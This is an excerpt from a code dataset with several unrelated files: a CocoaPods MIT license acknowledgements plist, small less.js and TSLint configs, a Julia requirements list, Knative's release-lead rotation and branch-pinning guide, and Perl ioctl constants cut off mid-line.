HOLDERS BE LIABLE FOR ANY\n> CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n> TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n> SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\t\t\tLicense\n\t\t\tMIT\n\t\t\tTitle\n\t\t\tNSDictionary-HYPImmutable\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\tLicensed under the **MIT** license\n\n> Copyright (c) 2015 Hyper Interaktiv AS\n>\n> Permission is hereby granted, free of charge, to any person obtaining\n> a copy of this software and associated documentation files (the\n> \"Software\"), to deal in the Software without restriction, including\n> without limitation the rights to use, copy, modify, merge, publish,\n> distribute, sublicense, and/or sell copies of the Software, and to\n> permit persons to whom the Software is furnished to do so, subject to\n> the following conditions:\n>\n> The above copyright notice and this permission notice shall be\n> included in all copies or substantial portions of the Software.\n>\n> THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n> EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n> MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n> IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n> CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n> TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n> SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\t\t\tLicense\n\t\t\tMIT\n\t\t\tTitle\n\t\t\tNSDictionary-HYPNestedAttributes\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\tLicensed under the **MIT** license\n\n> Copyright (c) 2014 Elvis Nu\u00f1ez\n>\n> Permission is hereby granted, free of charge, to any person obtaining\n> a copy of this software and associated documentation files (the\n> \"Software\"), to deal in the Software without restriction, including\n> without limitation the rights to use, copy, modify, merge, publish,\n> distribute, sublicense, and/or sell copies of the Software, and to\n> permit persons to whom the Software is furnished to do so, subject to\n> the following conditions:\n>\n> The above copyright notice and this permission notice shall be\n> included in all copies or substantial portions of the Software.\n>\n> THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n> EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n> MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n> IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n> CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n> TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n> SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\t\t\tLicense\n\t\t\tMIT\n\t\t\tTitle\n\t\t\tNSJSONSerialization-ANDYJSONFile\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\tLicensed under the **MIT** license\n\n> Copyright (c) 2014 Hyper AS\n>\n> Permission is hereby granted, free of charge, to any person obtaining\n> a copy of this software and associated documentation files (the\n> \"Software\"), to deal in the Software without restriction, including\n> without limitation the rights to use, copy, modify, merge, publish,\n> distribute, sublicense, and/or sell copies of the Software, and to\n> permit persons to whom the Software is furnished to do so, subject to\n> the following conditions:\n>\n> The above copyright notice and this permission notice shall be\n> included in all copies or substantial portions of the Software.\n>\n> THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n> EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n> MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n> IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n> CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n> TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n> SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\t\t\tLicense\n\t\t\tMIT\n\t\t\tTitle\n\t\t\tNSObject-HYPTesting\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\tLicensed under the **MIT** license\n\n> Copyright (c) 2014 Hyper AS\n>\n> Permission is hereby granted, free of charge, to any person obtaining\n> a copy of this software and associated documentation files (the\n> \"Software\"), to deal in the Software without restriction, including\n> without limitation the rights to use, copy, modify, merge, publish,\n> distribute, sublicense, and/or sell copies of the Software, and to\n> permit persons to whom the Software is furnished to do so, subject to\n> the following conditions:\n>\n> The above copyright notice and this permission notice shall be\n> included in all copies or substantial portions of the Software.\n>\n> THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n> EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n> MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n> IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n> CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n> TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n> SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\t\t\tLicense\n\t\t\tMIT\n\t\t\tTitle\n\t\t\tNSString-HYPContainsString\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\tLicensed under the **MIT** license\n\n> Copyright (c) 2014 Hyper AS\n>\n> Permission is hereby granted, free of charge, to any person obtaining\n> a copy of this software and associated documentation files (the\n> \"Software\"), to deal in the Software without restriction, including\n> without limitation the rights to use, copy, modify, merge, publish,\n> distribute, sublicense, and/or sell copies of the Software, and to\n> permit persons to whom the Software is furnished to do so, subject to\n> the following conditions:\n>\n> The above copyright notice and this permission notice shall be\n> included in all copies or substantial portions of the Software.\n>\n> THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n> EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n> MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n> IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n> CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n> TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n> SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\t\t\tLicense\n\t\t\tMIT\n\t\t\tTitle\n\t\t\tNSString-HYPFormula\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\tLicensed under the **MIT** license\n\n> Copyright (c) 2015 Hyper Interaktiv AS\n>\n> Permission is hereby granted, free of charge, to any person obtaining\n> a copy of this software and associated documentation files (the\n> \"Software\"), to deal in the Software without restriction, including\n> without limitation the rights to use, copy, modify, merge, publish,\n> distribute, sublicense, and/or sell copies of the Software, and to\n> permit persons to whom the Software is furnished to do so, subject to\n> the following conditions:\n>\n> The above copyright notice and this permission notice shall be\n> included in all copies or substantial portions of the Software.\n>\n> THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n> EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n> MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n> IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n> CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n> TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n> SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\t\t\tLicense\n\t\t\tMIT\n\t\t\tTitle\n\t\t\tNSString-HYPRelationshipParser\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\tThe MIT License (MIT)\n\nCopyright (c) 2014 Hyper\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n\n\t\t\tLicense\n\t\t\tMIT\n\t\t\tTitle\n\t\t\tNSString-HYPWordExtractor\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\tLicensed under the **MIT** license\n\n> Copyright (c) 2014 Christoffer Winterkvist\n>\n> Permission is hereby granted, free of charge, to any person obtaining\n> a copy of this software and associated documentation files (the\n> \"Software\"), to deal in the Software without restriction, including\n> without limitation the rights to use, copy, modify, merge, publish,\n> distribute, sublicense, and/or sell copies of the Software, and to\n> permit persons to whom the Software is furnished to do so, subject to\n> the following conditions:\n>\n> The above copyright notice and this permission notice shall be\n> included in all copies or substantial portions of the Software.\n>\n> THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n> EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n> MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n> IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n> CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n> TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n> SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\t\t\tLicense\n\t\t\tMIT\n\t\t\tTitle\n\t\t\tNSString-ZENInflections\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\tLicensed under the **MIT** license\n\n> Copyright (c) 2015 Hyper Interaktiv AS\n>\n> Permission is hereby granted, free of charge, to any person obtaining\n> a copy of this software and associated documentation files (the\n> \"Software\"), to deal in the Software without restriction, including\n> without limitation the rights to use, copy, modify, merge, publish,\n> distribute, sublicense, and/or sell copies of the Software, and to\n> permit persons to whom the Software is furnished to do so, subject to\n> the following conditions:\n>\n> The above copyright notice and this permission notice shall be\n> included in all copies or substantial portions of the Software.\n>\n> THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n> EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n> MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n> IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n> CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n> TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n> SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\t\t\tLicense\n\t\t\tMIT\n\t\t\tTitle\n\t\t\tUIViewController-HYPKeyboardToolbar\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\tGenerated by CocoaPods - https://cocoapods.org\n\t\t\tTitle\n\t\t\t\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\n\tStringsTable\n\tAcknowledgements\n\tTitle\n\tAcknowledgements\n\n\n"} -{"text": "var less = {logLevel: 4,\n errorReporting: \"console\"};\nless.rootpath = \"https://localhost/\";\n"} -{"text": "{\n \"rulesDirectory\": [\n \"node_modules/codelyzer\"\n ],\n \"rules\": {\n \"arrow-return-shorthand\": true,\n \"callable-types\": true,\n \"class-name\": true,\n \"comment-format\": [\n true,\n \"check-space\"\n ],\n \"curly\": true,\n \"eofline\": true,\n \"forin\": true,\n \"import-blacklist\": [\n true,\n \"rxjs\",\n \"rxjs/Rx\"\n ],\n \"import-spacing\": true,\n \"indent\": [\n true,\n \"spaces\"\n ],\n \"interface-over-type-literal\": true,\n \"label-position\": true,\n \"max-line-length\": [\n true,\n 140\n ],\n \"member-access\": false,\n \"member-ordering\": [\n true,\n {\n \"order\": [\n \"static-field\",\n \"instance-field\",\n \"static-method\",\n \"instance-method\"\n ]\n }\n ],\n \"no-arg\": true,\n \"no-bitwise\": true,\n \"no-console\": [\n true,\n \"debug\",\n \"info\",\n \"time\",\n \"timeEnd\",\n \"trace\"\n ],\n \"no-construct\": true,\n \"no-debugger\": true,\n \"no-duplicate-super\": true,\n \"no-empty\": false,\n \"no-empty-interface\": true,\n \"no-eval\": true,\n \"no-inferrable-types\": [\n true,\n \"ignore-params\"\n ],\n \"no-misused-new\": true,\n \"no-non-null-assertion\": true,\n \"no-shadowed-variable\": true,\n \"no-string-literal\": false,\n \"no-string-throw\": true,\n \"no-switch-case-fall-through\": true,\n \"no-trailing-whitespace\": true,\n \"no-unnecessary-initializer\": true,\n \"no-unused-expression\": true,\n \"no-use-before-declare\": true,\n \"no-var-keyword\": true,\n \"object-literal-sort-keys\": false,\n \"one-line\": [\n true,\n \"check-open-brace\",\n \"check-catch\",\n \"check-else\",\n \"check-whitespace\"\n ],\n \"prefer-const\": true,\n \"quotemark\": [\n true,\n \"single\"\n ],\n \"radix\": true,\n \"semicolon\": [\n true,\n \"always\"\n ],\n \"triple-equals\": [\n true,\n \"allow-null-check\"\n ],\n \"typedef-whitespace\": [\n true,\n {\n \"call-signature\": \"nospace\",\n \"index-signature\": \"nospace\",\n \"parameter\": \"nospace\",\n \"property-declaration\": \"nospace\",\n \"variable-declaration\": \"nospace\"\n }\n ],\n \"typeof-compare\": true,\n \"unified-signatures\": true,\n \"variable-name\": false,\n \"whitespace\": [\n true,\n \"check-branch\",\n \"check-decl\",\n \"check-operator\",\n \"check-separator\",\n \"check-type\"\n ],\n \"directive-selector\": [\n true,\n \"attribute\",\n \"app\",\n \"camelCase\"\n ],\n \"component-selector\": [\n true,\n \"element\",\n \"app\",\n \"kebab-case\"\n ],\n \"use-input-property-decorator\": true,\n \"use-output-property-decorator\": true,\n \"use-host-property-decorator\": true,\n \"no-input-rename\": true,\n \"no-output-rename\": true,\n \"use-life-cycle-interface\": true,\n \"use-pipe-transform-interface\": true,\n \"component-class-suffix\": true,\n \"directive-class-suffix\": true,\n \"invoke-injectable\": true\n }\n}\n"} -{"text": "julia 0.7.0\nColors\nGtk\nGraphics\nCairo\nNumericIO\n"} -{"text": "# Release Leads\n\nFor each release cycle, we dedicate a team of two individuals, one from Eventing\nand one from Serving, to shepherd the release process. Participation is\nvoluntary and based on good faith. We are only expected to participate during\nour local office hour.\n\n# Roster\n\nWe seed this rotation with all approvers from all the Serving and Eventing\nworkgroups, excluding productivity. If you are no longer active in Knative, or\nif you are contributing on personal capacity and do not have time to contribute\nin the rotation, feel free to send a PR to remove yourself.\n\n## Serving roster\n\nThis roster is seeded with all approvers from Serving workgroups.\n\n- dprotaso\n- julz\n- JRBANCEL\n- markusthoemmes\n- mattmoor\n- nak3\n- tcnghia\n- vagababov\n- yanweiguo\n- ZhiminXiang\n\n## Eventing roster\n\nThis roster is seeded with all approvers from Eventing workgroups.\n\n- evankanderson\n- grantr\n- Harwayne\n- lionelvillard\n- matzew\n- n3wscott\n- nachocano\n- slinkydeveloper\n- vaikas\n\n## Schedule\n\n| Release | Release Date | Serving | Eventing | Unpin repos | PKG cut |\n| ------- | ------------ | -------------- | --------------- | ----------- | ---------- |\n| v0.17 | 2020-08-18 | yanweiguo | Harwayne | - | 2020-08-11 |\n| v0.18 | 2020-09-29 | ZhiminXiang | n3wscott | 2020-08-19 | 2020-09-22 |\n| v0.19 | 2020-11-10 | julz | nachocano | 2020-09-30 | 2020-11-03 |\n| v0.20 | 2020-12-22 | nak3 | slinkydeveloper | 2020-11-11 | 2020-12-15 |\n| v0.21 | 2021-02-02 | mattmoor | lionelvillard | 2020-12-23 | 2021-01-26 |\n| v0.22 | 2021-03-16 | markusthoemmes | evankanderson | 2020-02-03 | 2021-03-09 |\n| v0.23 | 2021-04-27 | tcnghia | vaikas | 2020-03-17 | 2021-04-20 |\n| v0.24 | 2021-06-08 | dprotaso | matzew | 2020-04-28 | 2021-06-01 |\n| v0.25 | 2021-07-20 | vagababov | grantr | 2020-06-09 | 2021-07-13 |\n| v0.26 | 2021-08-31 | JRBANCEL | ... | 2020-07-21 | 2021-08-24 |\n\n# Release instruction\n\nWe release the components of Knative every 6 weeks. All of these components must\nbe moved to the latest \"release\" of all shared dependencies prior to each\nrelease.\n\n## First week of the rotation\n\n### Make sure you have the right permission\n\nCheck to make sure you already are in the \"Knative Release Leads\" team in\nhttps://github.com/knative/community/blob/master/peribolos/knative.yaml and\nhttps://github.com/knative/community/blob/master/peribolos/knative-sandbox.yaml\n. If not, send a PR like\n[this one](https://github.com/knative/community/pull/209) to grant yourself some\nsuper power.\n\n### Revert all pins to pin master branches again\n\nRevert all pins in all repositories to pin the **master** branches again, run\n`hack/update-deps.sh --upgrade` and PR the changes.\n\nYou should only need to do this for\n`knative/{serving,eventing-contrib,eventing}` and\n`knative-sandbox/net-{istio,contour,kourier,http01,certmanager}`. However, you\nmay want to double check `knative/{pkg,caching,networking}` as well in case the\nprevious release leads missed a step during their last rotation.\n\nExample PRs:\n\n- [knative/serving](https://github.com/knative/serving/pull/8579)\n- [knative/eventing](https://github.com/knative/eventing/pull/3546)\n- [knative/eventing-contrib](https://github.com/knative/eventing-contrib/pull/1272)\n- [knative-sandbox/net-istio](https://github.com/knative-sandbox/net-istio/pull/172)\n- [knative-sandbox/net-contour](https://github.com/knative-sandbox/net-contour/pull/154)\n- [knative-sandbox/net-kourier](https://github.com/knative-sandbox/net-kourier/pull/84)\n- [knative-sandbox/net-http01](https://github.com/knative-sandbox/net-http01/pull/42)\n- [knative-sandbox/net-certmanager](https://github.com/knative-sandbox/net-certmanager/pull/39)\n\n## 14 days prior to the release\n\n### Announce the imminent `pkg` cut\n\nAnnounce on **#general** that `pkg` will be cut in a week.\n\n---\n\n## 7 days prior to the release\n\n### Announce the imminent release cut\n\nAnnounce on **#general** that the release will be cut in a week and that\nadditional caution should be used when merging big changes.\n\n### Collect release-notes\n\nMake a copy of the\n[last release notes document](https://docs.google.com/document/d/1FTL_fMXU2hv2POh9uN_8IJe9FbqEIzFdRZZRXI0WaT4/edit),\nempty it out and send it to the WG leads of the respective project (serving or\neventing) to fill in. Coordinate with both serving and eventing leads.\n\n### Cut `release-x.y` in `test-infra`, `pkg`, `caching`, and `networking` libraries\n\nShared dependencies like `knative/{test-infra, pkg, caching, networking}` are\nkept up-to-date nightly in each of the releasing repositories. To stabilize\nthings shortly before the release we cut the `release-x.y` branches on those 7\ndays prior to the main release.\n\nFirst, create a release branch for `test-infra` named `release-x.y`.\n\nNext, `pkg` needs to pin to `test-infra`'s release branch. To do that, edit\n`hack/update-deps.sh` in `pkg` **on the newly created branch** to pin the\nbranch. Then run `./hack/update-deps.sh --upgrade` and commit the changes.\n\nThe change to `hack/update-deps.sh` will look like this:\n\n```diff\ndiff --git a/hack/update-deps.sh b/hack/update-deps.sh\nindex a39fc858..0634362f 100755\n--- a/hack/update-deps.sh\n+++ b/hack/update-deps.sh\n@@ -26,7 +26,7 @@ cd ${ROOT_DIR}\n # The list of dependencies that we track at HEAD and periodically\n # float forward in this repository.\n FLOATING_DEPS=(\n- \"knative.dev/test-infra@master\"\n+ \"knative.dev/test-infra@release-x.y\"\n )\n\n # Parse flags to determine any we should pass to dep.\n```\n\nPR the changes to each repository respectively, prepending the PR title with\n`[RELEASE]`.\n\nAfter `test-infra` and `pkg` are pinned, change `caching` and `networking`'s\n`update-deps.sh` to use `release-x.y` branch of `test-infra` and `pkg`.\nFollowing that, cut new `release-x.y` branches for `caching` and `networking`.\n\n### Pin `test-infra`, `pkg`, `caching`, `networking` in downstream repositories\n\nSimilar to how we pin `pkg` to `test-infra`, all downstream users must be pinned\nto the newly cut `release-x.y` branches on those libraries. The changes to\n`hack/update-deps.sh` look similar to above, but in most cases both dependencies\nwill need to be pinned.\n\n```diff\ndiff --git a/hack/update-deps.sh b/hack/update-deps.sh\nindex b277dd3ff..1989885ce 100755\n--- a/hack/update-deps.sh\n+++ b/hack/update-deps.sh\n@@ -32,8 +32,8 @@ VERSION=\"master\"\n # The list of dependencies that we track at HEAD and periodically\n # float forward in this repository.\n FLOATING_DEPS=(\n- \"knative.dev/test-infra@${VERSION}\"\n- \"knative.dev/pkg@${VERSION}\"\n- \"knative.dev/caching@${VERSION}\"\n- \"knative.dev/networking@${VERSION}\"\n+ \"knative.dev/test-infra@release-x.y\"\n+ \"knative.dev/pkg@release-x.y\"\n+ \"knative.dev/caching@release-x.y\"\n+ \"knative.dev/networking@release-x.y\"\n )\n```\n\nThe downstream repositories this needs to happen on are:\n\n- [knative/client](https://github.com/knative/client)\n\n- [knative/operator](https://github.com/knative/operator)\n\n- [knative/serving](https://github.com/knative/serving)\n- [knative-sandbox/net-certmanager](https://github.com/knative-sandbox/net-certmanager)\n- [knative-sandbox/net-contour](https://github.com/knative-sandbox/net-contour)\n- [knative-sandbox/net-http01](https://github.com/knative-sandbox/net-http01)\n- [knative-sandbox/net-istio](https://github.com/knative-sandbox/net-istio)\n- [knative-sandbox/net-kourier](https://github.com/knative-sandbox/net-kourier)\n\n- [knative/eventing](https://github.com/knative/eventing)\n- [knative/eventing-contrib](https://github.com/knative/eventing-contrib)\n- [knative-sandbox/eventing-kafka-broker](https://github.com/knative-sandbox/eventing-kafka-broker)\n- [knative-sandbox/discovery](https://github.com/knative-sandbox/discovery)\n- [knative-sandbox/eventing-autoscaler-keda](https://github.com/knative-sandbox/eventing-autoscaler-keda)\n- [knative-sandbox/eventing-awssqs](https://github.com/knative-sandbox/eventing-awssqs)\n- [knative-sandbox/eventing-camel](https://github.com/knative-sandbox/eventing-camel)\n- [knative-sandbox/eventing-ceph](https://github.com/knative-sandbox/eventing-ceph)\n- [knative-sandbox/eventing-couchdb](https://github.com/knative-sandbox/eventing-couchdb)\n- [knative-sandbox/eventing-github](https://github.com/knative-sandbox/eventing-github)\n- [knative-sandbox/eventing-gitlab](https://github.com/knative-sandbox/eventing-gitlab)\n- [knative-sandbox/eventing-kafka](https://github.com/knative-sandbox/eventing-kafka)\n- [knative-sandbox/eventing-natss](https://github.com/knative-sandbox/eventing-natss)\n- [knative-sandbox/eventing-prometheus](https://github.com/knative-sandbox/eventing-prometheus)\n- [knative-sandbox/eventing-rabbitmq](https://github.com/knative-sandbox/eventing-rabbitmq)\n\nApply the changes the the **master branches**, run\n`hack/update-deps.sh --upgrade` (and potentially `hack/update-codegen.sh` if\nnecessary) and PR the changes to the **master branch**. Don't cut the release\nbranch yet.\n\n### Verify nightly release automation is intact\n\nThe automation used to cut the actual releases is the very same as the\nautomation used to cut nightly releases. Verify via testgrid that all relevant\nnightly releases are passing. If they are not coordinate with the relevant WG\nleads to fix them.\n\n---\n\n## 1 day prior to the release\n\n### Confirm readiness\n\nConfirm with the respective WG leads that the release is imminent and obtain\ngreen light.\n\n---\n\n## Day of the release\n\n### Cut `release-x.y` branches of `serving` and `eventing`\n\nCreate a `release-x.y` branch from master in both repositories. Wait for release\nautomation to kick in (runs on a 2 hour interval). Once the release automation\npassed, it will create a release tag in both repositories. Enhance the\nrespective tags with the collected release-notes using the Github UI.\n\n### Cut `release-x.y` branches of `net-*`\n\nCut a `release-x.y` branch in each of the following repositories which do not\ndepend on `serving` or `eventing`:\n\n- [knative-sandbox/net-certmanager](https://github.com/knative-sandbox/net-certmanager)\n- [knative-sandbox/net-contour](https://github.com/knative-sandbox/net-contour)\n- [knative-sandbox/net-http01](https://github.com/knative-sandbox/net-http01)\n- [knative-sandbox/net-istio](https://github.com/knative-sandbox/net-istio)\n\n### Pin `serving` and `eventing` releases in dependent repositories\n\n**After** the tags for `serving` and `eventing` are created, their version needs\nto be pinned in all repositories that depend on them.\n\nFor **serving** that is:\n\n- [knative-sandbox/net-kourier](https://github.com/knative-sandbox/net-kourier)\n- [knative/eventing-contrib](https://github.com/knative/eventing-contrib)\n\nFor **eventing** that is:\n\n- [knative/eventing-contrib](https://github.com/knative/eventing-contrib)\n- [knative-sandbox/eventing-kafka-broker](https://github.com/knative-sandbox/eventing-kafka-broker)\n\nThe pins are similar to step 5 above, but now we're pinning `serving` and\n`eventing` respectively. Again, the pin PRs are sent against the **master**\nbranch of each repository respectively.\n\n### Cut `release-x.y` branches of all remaining repositories\n\nAfter the pin PRs are merged, cut the `release-x.y` branch in each of the\nremaining repositories (except `operator`):\n\n- [knative-sandbox/net-kourier](https://github.com/knative-sandbox/net-kourier)\n- [knative/eventing-contrib](https://github.com/knative/eventing-contrib)\n- [knative-sandbox/eventing-kafka-broker](https://github.com/knative-sandbox/eventing-kafka-broker)\n\nRelease automation will automatically pick up the branches and will likewise\ncreate the respective tags.\n\n## Right after the release\n\nSend a PR like [this one](https://github.com/knative/community/pull/209) to\ngrant ACLs for the next release leads, and to remove yourself from the rotation.\nInclude the next release leads in the PR as a reminder.\n\n---\n"} -{"text": "$_IOCTL_ = 0x1;\n$TIOCGSIZE = 0x40087468;\n$TIOCSSIZE = 0x80087467;\n$IOCPARM_MASK = 0x7F;\n$IOC_VOID = 0x20000000;\n$IOC_OUT = 0x40000000;\n$IOC_IN = 0x80000000;\n$IOC_INOUT = 0xC0000000;\n$TIOCGETD = 0x40047400;\n$TIOCSETD = 0x80047401;\n$TIOCHPCL = 0x20007402;\n$TIOCMODG = 0x40047403;\n$TIOCMODS = 0x80047404;\n$TIOCM_LE = 0x1;\n$TIOCM_DTR = 0x2;\n$TIOCM_RTS = 0x4;\n$TIOCM_ST = 0x8;\n$TIOCM_SR = 0x10;\n$TIOCM_CTS = 0x20;\n$TIOCM_CAR = 0x40;\n$TIOCM_CD = 0x40;\n$TIOCM_RNG = 0x80;\n$TIOCM_RI = 0x80;\n$TIOCM_DSR = 0x100;\n$TIOCGETP = 0x40067408;\n$TIOCSETP = 0x80067409;\n$TIOCSETN = 0x8006740A;\n$TIOCEXCL = 0x2000740D;\n$TIOCNXCL = 0x2000740E;\n$TIOCFLUSH = 0x80047410;\n$TIOCSETC = 0x80067411;\n$TIOCGETC = 0x40067412;\n$TIOCSET = 0x80047413;\n$TIOCBIS = 0x80047414;\n$TIOCBIC = 0x80047415;\n$TIOCGET = 0x40047416;\n$TANDEM = 0x1;\n$CBREAK = 0x2;\n$LCASE = 0x4;\n$ECHO = 0x8;\n$CRMOD = 0x10;\n$RAW = 0x20;\n$ODDP = 0x40;\n$EVENP = 0x80;\n$ANYP = 0xC0;\n$NLDELAY = 0x300;\n$NL0 = 0x0;\n$NL1 = 0x100;\n$NL2 = 0x200;\n$NL3 = 0x300;\n$TBDELAY = 0xC00;\n$TAB0 = 0x0;\n$TAB1 = 0x400;\n$TAB2 = 0x800;\n$XTABS = 0xC00;\n$CRDELAY = 0x3000;\n$CR0 = 0x0;\n$CR1 = 0x1000;\n$CR2 = 0x2000;\n$CR3 = 0x3000;\n$VTDELAY = 0x4000;\n$FF0 = 0x0;\n$FF1 = 0x4000;\n$BSDELAY = 0x8000;\n$BS0 = 0x0;\n$BS1 = 0x8000;\n$ALLDELAY = 0xFF00;\n$CRTBS = 0x10000;\n$PRTERA = 0x20000;\n$CRTERA = 0x40000;\n$TILDE = 0x80000;\n$MDMBUF = 0x100000;\n$LITOUT = 0x200000;\n$TOSTOP = 0x400000;\n$FLUSHO = 0x800000;\n$NOHANG = 0x1000000;\n$L001000 = 0x2000000;\n$CRTKIL = 0x4000000;\n$L004000 = 0x8000000;\n$CTLECH = 0x10000000;\n$PENDIN = 0x20000000;\n$DECCTQ = 0x40000000;\n$NOFLSH = 0x80000000;\n$TIOCCSET = 0x800E7417;\n$TIOCCGET = 0x400E7418;\n$TIOCLBIS = 0x8004747F;\n$TIOCLBIC = 0x8004747E;\n$TIOCLSET = 0x8004747D;\n$TIOCLGET = 0x4004747C;\n$LCRTBS = 0x1;\n$LPRTERA = 0x2;\n$LCRTERA = 0x4;\n$LTILDE = 0x8;\n$LMDMBUF = 0x10;\n$LLITOUT = 0x20;\n$LTOSTOP = 0x40;\n$LFLUSHO = 0x80;\n$LNOHANG = 